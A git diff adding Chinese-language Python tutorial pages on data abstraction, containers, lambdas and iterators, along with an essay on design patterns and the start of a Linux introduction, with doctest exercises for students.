+
+各位需要认真了解以下内容，他们是构建任何大厦的基石
+:::
+
+## Data Abstraction
+
+数据抽象是一个伟大的概念，它允许程序员将代码以对象的形式进行看待，并且从更高的层面去审视问题。
+
+简单来说，它可以帮助程序员不用具体去了解程序做了什么，而是更去重视它有什么用。
+
+举个例子：你在开车时，如果要控制发动机的活塞怎么动，对你来说是否有些太过于困难了。因此将其抽象成了离合器，油门，刹车这些较为简单的操作。
+
+## 组成
+
+一个抽象的数据类型（ADT）由两个主要部分组成
+
+- Constructors:架构抽象数据类型的主要函数
+- Selectors:操作数据类型的各式方法
+
+## 列表与元组
+
+列表是可以存储多个元素的 Python 数据结构。每个元素可以是任何类型，甚至可以是另一个列表！
+
+```python
+>>> list_of_nums = [1, 2, 3, 4]
+>>> list_of_bools = [True, True, False, False]
+>>> nested_lists = [1, [2, 3], [4, [5]]]
+```
+
+其可以随意的增加删除或改动元素
+
+元组何其差不多，但是最大的差距在于，元组是静态的，不可随意更改的，要想改动，必须重新开启一片内存空间
+
+```python
+tup = (1, 2, 3, 4)
+new_tup = tup + (5, ) # 创建新的元组 new_tup，并依次填充原元组的值
+new _tup
+(1, 2, 3, 4, 5)
+
+l = [1, 2, 3, 4]
+l.append(5) # 添加元素 5 到原列表的末尾
+l
+[1, 2, 3, 4, 5]
+```
+
+同时，你可以对列表和元组进行索引，甚至使用：进行切片操作，这部分内容在以后的任务会有体现
+
+```python
+>>> lst = [True, False, True, True, False]
+>>> lst[1:4]
+[False, True, True]
+>>> lst[:3]  # Start index defaults to 0
+[True, False, True]
+>>> lst[3:]  # End index defaults to len(lst)
+[True, False]
+>>> lst[:]  # Creates a copy of the whole list
+[True, False, True, True, False]
+```
+
+```python
+>>> lst = [6, 5, 4, 3, 2, 1]
+>>> lst[0]
+6
+>>> lst[3]
+3
+```
+
+::: warning 🤔 思考题：
+
+列表和元组在性能上有什么差异呢？
+
+他们对应的使用场景有哪些呢？
+:::
+
+## ;ltyi 字典与集合
+
+字典是一系列由键（key）和值（value）配对组成的元素的集合，在 Python3.7+，字典被确定为有序
+
+相比于列表和元组，字典的性能更优，特别是对于查找、添加和删除操作，字典都能在常数时间复杂度内完成。
+
+而集合和字典基本相同，唯一的区别，就是集合没有键和值的配对，是一系列无序的、唯一的元素组合。
+
+```python
+d1 = {'name': 'jason', 'age': 20, 'gender': 'male'}
+d2 = dict({'name': 'jason', 'age': 20, 'gender': 'male'})
+d3 = dict([('name', 'jason'), ('age', 20), ('gender', 'male')])
+d4 = dict(name='jason', age=20, gender='male') 
+d1 == d2 == d3 ==d4
+True
+
+s1 = {1, 2, 3}
+s2 = set([1, 2, 3])
+s1 == s2
+True
+```
+
+当然，除了创建和访问，字典和集合也同样支持增加、删除、更新等操作。
+
+```python
+d = {'name': 'jason', 'age': 20}
+d['gender'] = 'male' # 增加元素对'gender': 'male'
+d['dob'] = '1999-02-01' # 增加元素对'dob': '1999-02-01'
+d
+{'name': 'jason', 'age': 20, 'gender': 'male', 'dob': '1999-02-01'}
+d['dob'] = '1998-01-01' # 更新键'dob'对应的值 
+d.pop('dob') # 删除键为'dob'的元素对
+'1998-01-01'
+d
+{'name': 'jason', 'age': 20, 'gender': 'male'}
+
+s = {1, 2, 3}
+s.add(4) # 增加元素 4 到集合
+s
+{1, 2, 3, 4}
+s.remove(4) # 从集合中删除元素 4
+s
+{1, 2, 3}
+```
+
+::: warning 🤔 思考题：
+
+字典和集合分别是什么原理呢？
+
+字典可以是一个列表吗？为什么？
+:::
+
+## 可变性
+
+我们说如果一个对象可以由代码进行操作而改变那么我们称其具有可变性。
+
+可变对象的示例包括列表和字典。不可变对象的示例包括元组和函数。
+
+我们假定已经知道了如何使用 `==` 运算符来检查两个表达式的计算结果是否**相同**。
+
+我们现在引入一个新的比较运算符 `is`，它检查两个表达式的计算结果是否**相同**。
+
+```python
+>>> 2 + 2 == 3 + 1
+True
+>>> 2 + 2 is 3 + 1
+True
+```
+
+有什么不同呢？
+
+```python
+>>> large_num1 = 23333333333333333333
+>>> large_num2 = 23333333333333333333
+>>> large_num1 == large_num2
+True
+>>> large_num1 is large_num2
+False
+>>> lst1 = [1, 2, 3, 4]
+>>> lst2 = [1, 2, 3, 4]
+>>> lst1 == lst2
+True
+>>> lst1 is lst2
+False
+```
+
+欸？为什么最后一个不一样了？
+
+其实原因是，你创建的两个列表虽然内容相同，但是毕竟是两个不同的列表，其在内存空间上并不一样。
+
+这在讨论可变性的时候非常重要，当我们改变一个数的值的时候这非常重要
+
+```python
+>>> lst1 = [1, 2, 3, 4]
+>>> lst2 = lst1
+>>> lst1.append(5)
+>>> lst2
+[1, 2, 3, 4, 5]
+>>> lst1 is lst2
+True
+```
+
+::: warning 🤔 思考题，你能否从指针的角度去理解可变性呢？
+:::
+
+## 任务
+
+P7:9*9 乘法表
+
+可能现在对你来说，构建像下图这样的 99 乘法表已经是非常容易的一件事了，可是如果我要求你使用 python 的列表推导式 (list comprehension)，在两行以内完成呢？
+
+![](https://cdn.xyxsw.site/boxcnccDSRQj5W3lZWEUkCOHz2b.png)
+
+P8：couple 情侣
+
+实现函数 `couple`，它接受两个列表并返回一个列表，其中包含两个序列的第 i 个元素耦合在一起的列表。您可以假设两个序列的长度相同。
+tips：zip(list1,list2)
+
+```python
+def couple(lst1, lst2):
+    """Return a list that contains lists with i-th elements of two sequences
+    coupled together.
+    >>> lst1 = [1, 2, 3]
+    >>> lst2 = [4, 5, 6]
+    >>> couple(lst1, lst2)
+    [[1, 4], [2, 5], [3, 6]]
+    >>> lst3 = ['c', 6]
+    >>> lst4 = ['s', '1']
+    >>> couple(lst3, lst4)
+    [['c', 's'], [6, '1']]
+    """
+    assert len(lst1) == len(lst2)
+    "*** YOUR CODE HERE ***"
+```
+
+P 8.5：对城市数据抽象
+
+假设我们有一个城市的抽象数据类型。城市有名称、纬度坐标和经度坐标。
+
+这是我们构造城市的函数
+
+make_city(name, lat, lon)
+
+构建一个城市对象有经纬度和名字
+
+- `get_name(city)`：返回城市名称
+- `get_lat(city)`：返回城市的纬度
+- `get_lon(city)`：返回城市的经度
+
+```python
+>>> nanjing = make_city('Nanjing', 31, 118)
+>>> get_name(nanjing)
+'Nanjing'
+>>> get_lat(nanjing)
+31
+>>> beijing = make_city('Beijing', 39, 116)
+>>> get_lon(beijing)
+116
+```
+
+```python
+def make_city(name, lat, lon):
+    """
+    >>> city = make_city('Berkeley', 0, 1
+    >>> get_name(city)
+    'Berkeley
+    >>> get_lat(city)
+    0
+    >>> get_lon(city)
+    1
+    """    
+    return [name, lat, lon]
+
+def get_name(city):
+    """
+    >>> city = make_city('Berkeley', 0, 1)
+    >>> get_name(city)
+    'Berkeley'
+    """
+    return city[0]
+
+def get_lat(city):
+    """
+    >>> city = make_city('Berkeley', 0, 1)
+    >>> get_lat(city)
+    0
+    """
+    return city[1]
+
+def get_lon(city):
+    """
+    >>> city = make_city('Berkeley', 0, 1)
+    >>> get_lon(city)
+    1
+    """
+    return city[2]
+```
+
+首先你试试求出两个地方的距离。
+
+`(x2, y2)` 可以通过计算 的 sqrt 来找到 `(x1 - x2)**2 + (y1 - y2)**2`。`sqrt` 我们引用了
+
+```python
+from math import sqrt
+def distance(city1, city2):
+    """
+    >>> city1 = make_city('city1', 0, 1)
+    >>> city2 = make_city('city2', 0, 2)
+    >>> distance(city1, city2)
+    1.0
+    >>> city3 = make_city('city3', 6.5, 12)
+    >>> city4 = make_city('city4', 2.5, 15)
+    >>> distance(city3, city4)
+    5.0
+    """
+    "*** YOUR CODE HERE ***"
+```
+
+实现 `closer_city` 一个函数，该函数接受一个纬度、经度和两个城市，并返回与提供的经纬度相对较近的城市名称。
+
+```python
+def closer_city(lat, lon, city1, city2):
+    """
+    Returns the name of either city1 or city2, whichever is closest to
+    coordinate (lat, lon).
+
+    >>> berkeley = make_city('Berkeley', 37.87, 112.26)
+    >>> stanford = make_city('Stanford', 34.05, 118.25)
+    >>> closer_city(38.33, 121.44, berkeley, stanford)
+    'Stanford'
+    >>> bucharest = make_city('Bucharest', 44.43, 26.10)
+    >>> vienna = make_city('Vienna', 48.20, 16.37)
+    >>> closer_city(41.29, 174.78, bucharest, vienna)
+    'Bucharest'
+    """
+    "*** YOUR CODE HERE ***"
+```
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.4阶段四：高阶函数.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.4阶段四：高阶函数.md
new file mode 100644
index 0000000..e4ca206
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.4阶段四：高阶函数.md
@@ -0,0 +1,152 @@
+# 阶段四：高阶函数
+
+::: warning 🐱 阅读以及完成本部分内容可以帮助你有效减少代码冗余。
+
+让你完成更为优雅的代码
+
+各位要记住的是
+
+<font size=5><strong>代码首先是给人看的</strong></font>
+
+机器看的永远只是你的机器码。
+
+可参考教程 [Lambda](https://zhuanlan.zhihu.com/p/80960485)
+:::
+
+## Lambda 介绍
+
+Lambda 表达式是通过指定两件事来评估函数的表达式：参数和返回表达式。
+
+请尝试阅读以下英文表格，对比函数与 lambda 表达式的不同
+
+## Lambda 实验
+
+以下代码 python 会显示什么？通过对这些代码的实验，加深你对代码的学习
+
+提示：当你对解释器输入 x 或 x=none 时什么都没有
+
+```python
+>>> lambda x: x  # A lambda expression with one parameter x
+______
+
+>>> a = lambda x: x  # Assigning the lambda function to the name a
+>>> a(5)
+______
+
+>>> (lambda: 3)()  # Using a lambda expression as an operator in a call exp.
+______
+
+>>> b = lambda x: lambda: x  # Lambdas can return other lambdas!
+>>> c = b(88)
+>>> c
+______
+
+>>> c()
+______
+
+>>> d = lambda f: f(4)  # They can have functions as arguments as well.
+>>> def square(x):
+...     return x * x
+>>> d(square)
+______
+```
+
+```python
+>>> higher_order_lambda = lambda f: lambda x: f(x)
+>>> g = lambda x: x * x
+>>> higher_order_lambda(2)(g)  # Which argument belongs to which function call?
+______
+
+>>> higher_order_lambda(g)(2)
+______
+
+>>> call_thrice = lambda f: lambda x: f(f(f(x)))
+>>> call_thrice(lambda y: y + 1)(0)
+______
+
+>>> print_lambda = lambda z: print(z)  # When is the return expression of a lambda expression executed?
+>>> print_lambda
+______
+
+>>> one_thousand = print_lambda(1000)
+______
+
+>>> one_thousand
+______
+```
+
+## 任务
+
+P9:我们发现以下两个函数看起来实现的非常相似，是否可以进行改进，将其整合？
+
+```python
+def count_factors(n):
+    """Return the number of positive factors that n has.
+    >>> count_factors(6)
+    4   # 1, 2, 3, 6
+    >>> count_factors(4)
+    3   # 1, 2, 4
+    """
+    i, count = 1, 0
+    while i <= n:
+        if n % i == 0:
+            count += 1
+        i += 1
+    return count
+
+def count_primes(n):
+    """Return the number of prime numbers up to and including n.
+    >>> count_primes(6)
+    3   # 2, 3, 5
+    >>> count_primes(13)
+    6   # 2, 3, 5, 7, 11, 13
+    """
+    i, count = 1, 0
+    while i <= n:
+        if is_prime(i):
+            count += 1
+        i += 1
+    return count
+
+def is_prime(n):
+    return count_factors(n) == 2 # only factors are 1 and n
+```
+
+需求：
+
+你需要通过自己写一个函数： `count_cond` ，来接受一个含有两个参数的函数 `condition(n, i)`(使用 lambda 表达式)，
+
+且`condition`函数应该满足第一个参数为 N，而第二个参数将会在`condition`函数中遍历 1 to N。  
+
+`count_cond` 将返回一个单参数函数 (ps：一个匿名函数)，此单参数函数将会在被调用时返回 1 to N 中所有满足`condition`的数字的个数 (如：1 到 n 中素数的个数)。
+
+```python
+def count_cond(condition):
+    """Returns a function with one parameter N that counts all the numbers from
+    1 to N that satisfy the two-argument predicate function Condition, where
+    the first argument for Condition is N and the second argument is the
+    number from 1 to N.
+
+    >>> count_factors = count_cond(lambda n, i: n % i == 0)
+    >>> count_factors(2)   # 1, 2
+    2
+    >>> count_factors(4)   # 1, 2, 4
+    3
+    >>> count_factors(12)  # 1, 2, 3, 4, 6, 12
+    6
+
+    >>> is_prime = lambda n, i: count_factors(i) == 2
+    >>> count_primes = count_cond(is_prime)
+    >>> count_primes(2)    # 2
+    1
+    >>> count_primes(3)    # 2, 3
+    2
+    >>> count_primes(4)    # 2, 3
+    2
+    >>> count_primes(5)    # 2, 3, 5
+    3
+    >>> count_primes(20)   # 2, 3, 5, 7, 11, 13, 17, 19
+    8
+    """
+    "*** YOUR CODE HERE ***"
+```
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.5阶段五：迭代生成.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.5阶段五：迭代生成.md
new file mode 100644
index 0000000..cc2567f
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.5阶段五：迭代生成.md
@@ -0,0 +1,241 @@
+# 阶段五：迭代生成
+
+## 前言
+
+在写乘法表的时候，你可能写过类似
+
+```python
+for i in [2, 3, 5, 7, 11, 13]: print(i)
+```
+
+这样的语句。for in 语句理解起来很直观形象，比起 C++ 和 java 早期的
+
+```c
+for (int i = 0; i < n; i ++)
+```
+
+这样的语句，不知道简洁清晰到哪里去了。
+
+但是，你想过 Python 在处理 for in 语句的时候，具体发生了什么吗？什么样的对象可以被 for in 来枚举呢？
+
+## 容器迭代
+
+容器这个概念非常好理解。
+
+在 Python 中一切皆对象，对象的抽象就是类，而对象的集合就是容器。
+
+列表`list: [0, 1, 2]`，元组`tuple: (0, 1, 2)`，字典`dict: {0:0, 1:1, 2:2}`，集合`set: set([0, 1, 2])`都是容器。
+
+对于容器，你可以很直观地想象成多个元素在一起的单元；而不同容器的区别，正是在于内部数据结构的实现方法。
+
+然后，你就可以针对不同场景，选择不同时间和空间复杂度的容器。所有的容器都是可迭代的（iterable）。
+
+```python
+iterator = iter(iterable)
+    while True:
+        elem = next(iterator)
+        # do something
+```
+
+- 首先，在可迭代对象上调用内置 `iter` 函数以创建对应的*迭代器*。
+- 要获取序列中的下一个元素，在此迭代器上调用内置 `next` 函数。
+
+如果没有下一个元素了，怎么办？
+
+我们需要对这种异常进行处理。
+
+思考题：什么是异常处理，为什么要进行异常处理？有什么好处？
+
+多次调用 `iter` 可迭代对象每次都会返回一个具有不同状态的新迭代器
+
+你也可以调用 `iter` 迭代器本身，它只会返回相同的迭代器而不改变它的状态。但是，请注意，您不能直接在可迭代对象上调用 next。
+
+```python
+>>> lst = [1, 2, 3, 4]
+>>> next(lst)             # Calling next on an iterable
+TypeError: 'list' object is not an iterator
+>>> list_iter = iter(lst) # Creates an iterator for the list
+>>> list_iter
+<list_iterator object ...>
+>>> next(list_iter)       # Calling next on an iterator
+1
+>>> next(list_iter)       # Calling next on the same iterator
+2
+>>> next(iter(list_iter)) # Calling iter on an iterator returns itself
+3
+>>> list_iter2 = iter(lst)
+>>> next(list_iter2)      # Second iterator has new state
+1
+>>> next(list_iter)       # First iterator is unaffected by second iterator
+4
+>>> next(list_iter)       # No elements left!
+StopIteration
+>>> lst                   # Original iterable is unaffected
+[1, 2, 3, 4]
+```
+
+## 英语练习，对迭代器的类比
+
+**Analogy**: An iterable is like a book (one can flip through the pages) and an iterator for a book would be a bookmark (saves the position and can locate the next page). Calling `iter` on a book gives you a new bookmark independent of other bookmarks, but calling `iter` on a bookmark gives you the bookmark itself, without changing its position at all. Calling `next` on the bookmark moves it to the next page, but does not change the pages in the book. Calling `next` on the book wouldn't make sense semantically. We can also have multiple bookmarks, all independent of each other.
+
+## 生成器：懒人迭代器！
+
+```python
+def test_iterator():
+    show_memory_info('initing iterator')
+    list_1 = [i for i in range(100000000)]
+    show_memory_info('after iterator initiated')
+    print(sum(list_1))
+    show_memory_info('after sum called')
+
+def test_generator():
+    show_memory_info('initing generator')
+    list_2 = (i for i in range(100000000))
+    show_memory_info('after generator initiated')
+    print(sum(list_2))
+    show_memory_info('after sum called')
+
+%time test_iterator()
+%time test_generator()
+
+########## 输出 ##########
+
+initing iterator memory used: 48.9765625 MB
+after iterator initiated memory used: 3920.30078125 MB
+4999999950000000
+after sum called memory used: 3920.3046875 MB
+Wall time: 17 s
+initing generator memory used: 50.359375 MB
+after generator initiated memory used: 50.359375 MB
+4999999950000000
+after sum called memory used: 50.109375 MB
+Wall time: 12.5 s
+```
+
+声明一个迭代器很简单，[i for i in range(100000000)]就可以生成一个包含一亿元素的列表。每个元素在生成后都会保存到内存中，你通过代码可以看到，它们占用了巨量的内存，内存不够的话就会出现 OOM 错误。
+
+::: warning 🤔 了解下 yield（）函数吧，他可以返回一个生成器对象，试试看懂这个
+:::
+
+```python
+>>> def gen_list(lst):
+...     yield from lst
+...
+>>> g = gen_list([1, 2, 3, 4])
+>>> next(g)
+1
+>>> next(g)
+2
+>>> next(g)
+3
+>>> next(g)
+4
+>>> next(g)
+StopIteration
+```
+
+## 思考题：python 会显示什么？为什么？
+
+```python
+>>> s = [1, 2, 3, 4]
+>>> t = iter(s)
+>>> next(s)
+______
+
+>>> next(t)
+______
+
+>>> next(t)
+______
+
+>>> iter(s)
+______
+
+>>> next(iter(s))
+______
+
+>>> next(iter(t))
+______
+
+>>> next(iter(s))
+______
+
+>>> next(iter(t))
+______
+
+>>> next(t)
+______
+```
+
+```python
+>>> r = range(6)
+>>> r_iter = iter(r)
+>>> next(r_iter)
+______
+
+>>> [x + 1 for x in r]
+______
+
+>>> [x + 1 for x in r_iter]
+______
+
+>>> next(r_iter)
+______
+
+>>> list(range(-2, 4))   # Converts an iterable into a list
+______
+```
+
+## 任务
+
+P10：实现 `count`，它接受一个迭代器 `t` 并返回该值 `x` 出现在的前 n 个元素中的次数 `t`
+
+```python
+def count(t, n, x):
+    """Return the number of times that x appears in the first n elements of iterator t.
+
+    >>> s = iter([10, 9, 10, 9, 9, 10, 8, 8, 8, 7])
+    >>> count(s, 10, 9)
+    3
+    >>> s2 = iter([10, 9, 10, 9, 9, 10, 8, 8, 8, 7])
+    >>> count(s2, 3, 10)
+    2
+    >>> s = iter([3, 2, 2, 2, 1, 2, 1, 4, 4, 5, 5, 5])
+    >>> count(s, 1, 3)
+    1
+    >>> count(s, 4, 2)
+    3
+    >>> next(s)
+    2
+    >>> s2 = iter([4, 1, 6, 6, 7, 7, 8, 8, 2, 2, 2, 5])
+    >>> count(s2, 6, 6)
+    2
+    """
+    "*** YOUR CODE HERE ***"
+```
+
+P11:实现生成器函数 `scale(it, multiplier)`，它产生给定迭代的元素 `it`，按 `multiplier`.
+
+同时也希望你尝试使用 `yield from` 语句编写这个函数！
+
+```python
+def scale(it, multiplier):
+    """Yield elements of the iterable it scaled by a number multiplier.
+
+    >>> m = scale(iter([1, 5, 2]), 5)
+    >>> type(m)
+    <class 'generator'>
+    >>> list(m)
+    [5, 25, 10]
+    >>> # generators allow us to represent infinite sequences!!!
+    >>> def naturals():
+    ...     i = 0
+    ...     while True:
+    ...         yield i
+    ...         i += 1
+    >>> m = scale(naturals(), 2)
+    >>> [next(m) for _ in range(5)]
+    [0, 2, 4, 6, 8]
+    """
+    "*** YOUR CODE HERE ***"
+```
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.6结语.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.6结语.md
new file mode 100644
index 0000000..d70bdb5
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.6结语.md
@@ -0,0 +1,41 @@
+# 结语
+
+## 感觉学了不少内容，又感觉什么都没学？
+
+确实，这也是学习过程中一个非常普遍存在的状态，你学了五个非常重要的 python 语言的特性，但是在你用他们真正来优化代码解决代码之前，你都无法真正的掌握他们。
+
+那为什么要学呢？
+
+非常核心的一点在于，你以后面对困难的问题的时候，将他不断分解，成为一个个独立的小问题的时候，你也许会想起你之前在某文档内，有一个简单的教程曾经将某种神奇的方法一笔带过，这也许会提供给你意想不到的解决问题的思路和方法。
+
+同时，python 的核心特性就这些吗？远远不止呢，这些只是你入手其的敲门砖，我在下面会列举一些别的特性，你可以自行前去了解，也可以等到你真正遇到问题的时候去思考？
+
+## 为什么没有突出面向对象
+
+因为代码量实在是太少了，当你去理解面向对象的时候的伟大意义时，最好与 C 语言这种面向过程的语言进行对比，不过，如果你完成了我们的文字冒险小游戏的时候，你可能会有非常深刻的体验。
+
+## 还有什么是我值得注意的？
+
+这些内容值得你去学习与思考，但是碍于各种因素，我暂时没有详细介绍
+
+- 面向对象编程
+- 深浅拷贝
+- 值传递
+- 装饰器
+- metaclass
+- GIL
+- 垃圾回收机制
+- 协程
+- 数不清的各种框架和包！！！
+
+如果有机会，我会继续补充相关内容
+
+值得一提的是：后面人工智能模块，我们将以 python 为主去进行编程，这对完成了所有任务的你一定是 a piece of cake!
+
+## 一些不错的补充
+
+[WTF for python](https://github.com/robertparley/wtfpython-cn)
+
+[真正的 python 教程](https://realpython.com/)
+
+[python100 天](https://github.com/jackfrued/Python-100-Days)
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4Python for fun.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4Python for fun.md
new file mode 100644
index 0000000..c5f7df7
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4Python for fun.md	
@@ -0,0 +1,9 @@
+# Python for fun
+
+值得一提的是，Python 是面向对象的编程语言，与你之前书写的 C 语言（面向过程）有非常多的不同。
+
+我们为什么要选择要使用 Python 来首先讲解面向对象这个概念？
+
+究竟什么是面向对象？为什么面向对象？
+
+这值得你在书写 Python 代码中思考并尝试将其思想融会贯通到编码风格中去。
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6Python（灵巧的胶水）.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6Python（灵巧的胶水）.md
new file mode 100644
index 0000000..affafd8
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6Python（灵巧的胶水）.md
@@ -0,0 +1,7 @@
+# 3.6Python（灵巧的胶水）
+
+Python 是一门简单易学的脚本语言学会，其能做的事情也很多，常见的就有网络爬虫，数据分析，前端开发，[机器学习](https://www.zhihu.com/search?q=%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0&search_source=Entity&hybrid_search_source=Entity&hybrid_search_extra=%7B%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A%222550582151%22%7D)，都能很好地提高工作效率。
+
+对于计算机科学的学生来说，python 不会设置专门的课程教你而是会要求你在假期内自学，因为其丰富的库函数和简洁的语法让 python 可以轻松完成一些本来非常难做到的事情。
+
+[如果各位想要以查阅字典或者线性的方式了解一下不要看菜鸟教程！来看看这个](https://docs.python.org/zh-cn/3/tutorial/index.html)，手册的是第一手资料正确性很高，或者说他基本不会出错！
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.X 聊聊设计模式和程序设计.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.X 聊聊设计模式和程序设计.md
new file mode 100644
index 0000000..c430822
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.X 聊聊设计模式和程序设计.md	
@@ -0,0 +1,81 @@
+# 3.X 聊聊设计模式和程序设计
+
+*Author: yyl
+  Last revised 2022/08/07*
+
+## 前言
+
+在开始讲内容之前，我觉得我得首先聊一聊到底为什么我们需要这些东西。为什么我们会需要设计模式呢？
+
+这个问题并不可笑，也不幼稚，事实上，很多东西红极一时，最终却被历史证明是不被需要的。类似的事情太多了，可以是一种理念，比如日心说，可以是一种产品，比如软驱、RAMBUS 内存，等等。历史已经丢弃了太多不被需要的东西了。
+
+学习本身是有成本的事情，如果在开始之前能够理解为什么要开始就更好，尽管很多时候我们做不到这件事，但也不能忘了这件事。
+
+上个世纪 80~90 年代的时候，人们试图通过“设计模式”这一工具，抽象总结所有的软件设计方法，构建一个无敌的知识库。最终使得软件工程就像堆积木一样简单，避免软件随时间变得杂乱的熵增问题，但毫无疑问这是失败的，你永远无法抽象总结所有东西，设计模式的巅峰，可能是在 JDK 之中。在阅读 Java 自身提供的诸多 API 时，你会发现其中蕴藏了大量的设计模式，而且是赤裸裸地把使用了的设计模式写在了类名中，如“XXXListener”，很少有另一个语言也是这样的。
+
+设计模式并没有完全成功，但也没有完全失败。他现在以一种“术语”的形式存在，帮助人们理解常见的编程范式。——这是什么意思呢？举个例子，如果你尝试和同事说明你的一个设计时，你说，它首先有两个类，一个类提供了一个通用的接口，可以被另一个类注册，另一个类则负责把所有的动作通知给已经注册的类。这种说法显然非常繁琐，对方也未必能理解你的意思。但如果你说，这里使用了监听者模式，如果你的同事碰巧学习过一些设计模式，他就能立即理解你的意思。即使他没有学习过相关知识，只要简单百度一下也能理解个大概。这是当今设计模式的一个重要作用。
+
+另一个重要作用则是它的本源了，用于总结抽象程序设计的范式。但并不是说要你写的所有代码能用设计模式的就都用设计模式，这更多是提供给你一种选项，让你能够充分权衡。关于这部分，下文还会有说明。
+
+目前的设计模式，主要集中在如何避免程序复杂度上。
+
+什么是程序复杂度呢？就是说你今天写了个软件，明天给他加功能的时候发现这个程序不怎么可维护，于是直接在之前的逻辑上加了个 if，你的一个 if 通常不会有什么大问题，程序复杂性问题是日积月累的。随着大家都在不同的地方写自己的 if，整个程序最终会变得不可维护。可能一个微小的改动会导致很多地方的 if 出现不符合预期的判断，可能终有一天有一个需求无法再用 if 来实现，等等。
+
+为了解决这个问题，设计模式使用的方法是原则，通过制定一系列的原则，并确保大家都遵守，来避免代码腐烂。
+
+## 拿个锤子，见什么都是钉子
+
+设计模式，或者说广义的程序设计架构的初学者，很多都会想去设计一个“完美的架构”。
+
+当就像计算机程序设计本身是关于权衡的艺术一样，学习程序架构也不能看见什么都上架构。下面举例子具体说明。
+
+你要设计一个小程序给自己用，这个程序的作用是定时读取一边本地硬盘上的全部文件，通过 sha256 算法生成每个文件的文件摘要，比对文件是否遭到篡改，如果遭到了篡改就报个警。
+
+如果你没有学习过这些乱七八糟的设计模式，我想你大概会这么做：
+
+main():
+
+walk("/");
+
+walk(String path):
+
+For file : os.listfile(path):
+
+// 检查文件摘要
+
+For dir : os.listdir(path):
+
+walk(dir);
+
+但如果你很不幸，学习过一些设计模式，或者说有一些程序设计经验，你会开始考虑一下问题：
+
+1. 我用什么语言实现？这个语言的代码文件组织有没有推荐的架构？（比如，第三方包引用了放在哪里？文件加密的 util 是放在内部还是封装成可供其他人引用的三方包？）
+2. 选用什么样的依赖管理机制？
+3. 编译最终产物的时候用什么工具，make 还是 maven 还是 gradle 还是 shell 还是 python？...
+4. walk 能不能兼容不同平台的系统？在 win 下面能不能用？
+5. 有没有什么设计模式可以用？（开始翻书）
+6. 卧槽，用官方推荐的组织架构的话这个程序有点单薄啊，要不要加点功能上去
+7. ...
+
+要明白，拿着个锤子绝不能看什么都是钉子。
+
+设计模式本身也是权衡的艺术，我们今天经常说的东西，比如 DDD，SOA，微服务，monorepo，也都是一种广义的设计模式。权衡什么呢？权衡的是：是要维持程序在发生功能变动时的可拓展性、降低程序维护复杂度，还是追求程序的快速实现。
+
+拿上文的例子来说，如果你的所有程序都是在运行 Linux 上的，这个也只是给你自己快速检查文件完整性，之后也几乎不存在增加新的功能的可能，为什么不随便找个脚本语言快速十几行写完呢？
+
+## 如何学习
+
+个人认为，现在所谓的设计模式分两种，第一种是狭义的设计模式，就是各种设计模式的堆积。
+
+此外，还有广义的设计模式，这块内容就很多了，但也是讨论如何降低代码复杂度的，包括：
+
+1. 程序代码怎么组织（在开发 web 应用时这块经常有争议，可以参考 [浅析整洁架构之道 (二) 初步了解 The Clean Architecture](https://cloud.tencent.com/developer/article/1837487)）
+2. 程序之间怎么组织（是放在一个编成个大的，还是微服务，还是用 FaaS 之类的变体）
+3. 一些帮助减少程序复杂度的代码原则：[设计模式之 SOLID 原则](https://zhuanlan.zhihu.com/p/82324809)
+
+这部分的学习不能操之过急。个人的建议是：
+
+1. 学习一些设计模式，看完两次肯定没什么感觉，甚至会觉得看了个寂寞（可以先看看 Head first 设计模式）
+2. 忘了他，去写你自己的代码，遇到复杂度诅咒了再考虑如何解决
+3. 读他人的优秀代码，想一想这里他为什么要这么写，换成是你的话会怎么写，各自有什么利弊
+4. 重复 1
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y 附加模块：Linux.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y 附加模块：Linux.md
new file mode 100644
index 0000000..ed37e4d
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y 附加模块：Linux.md	
@@ -0,0 +1,63 @@
+# 附加模块：Linux
+
+::: warning 😇 本来这个模块在编程模块内，但是鉴于大家都反应做这一块非常难，因此我将他提出作为一个额外的附加模块。
+
+如果你想尝试使用 Linux 编程或者想了解更多计算机科学领域知识，你可以学习并阅览本部分内容。
+
+当然你也可以先尝试完成第三部分的一些内容再回过头解决本部分的内容。
+
+可能会花费你大量的时间，并且让你感受到非常困难，但是可以保证的是：你的一切投入，都是有收获的。
+:::
+
+## What???Linux???
+
+大家可能知道我们的电脑是 Windows 作为操作系统的。
+
+而 Linux 也是一款有趣的开源的操作系统
+
+它既免费也自由 (能知道它内部的实现)，而且互联网上有丰富的 (英文) 文档。
+
+它的设计继承自“Keep it simple, stupid”的 UNIX，这个经典的设计背后的动机反而更容易为第一次接触操作系统的初学者所理解。让我们看看它的威力：
+
+- 首先，操作系统里的一切对象都用文件表示 (Everything is a file)。进程、设备……都可以在任何编程语言里用文件 API 访问。
+- Linux 的命令行 Shell 是一门编程语言——没错，你每天都在“编程”！更准确地说，Shell 的功能就是把你想要做的事情 (类似自然语言描述的代码) 翻译成操作系统能看懂的文件/进程管理 API 调用。
+
+## Why Linux???
+
+作为一个双系统用户体验者来说，他除了玩游戏不那么方便以外，可以更为高效且便捷的办到 Windows 费很大力气才能办到的事情。
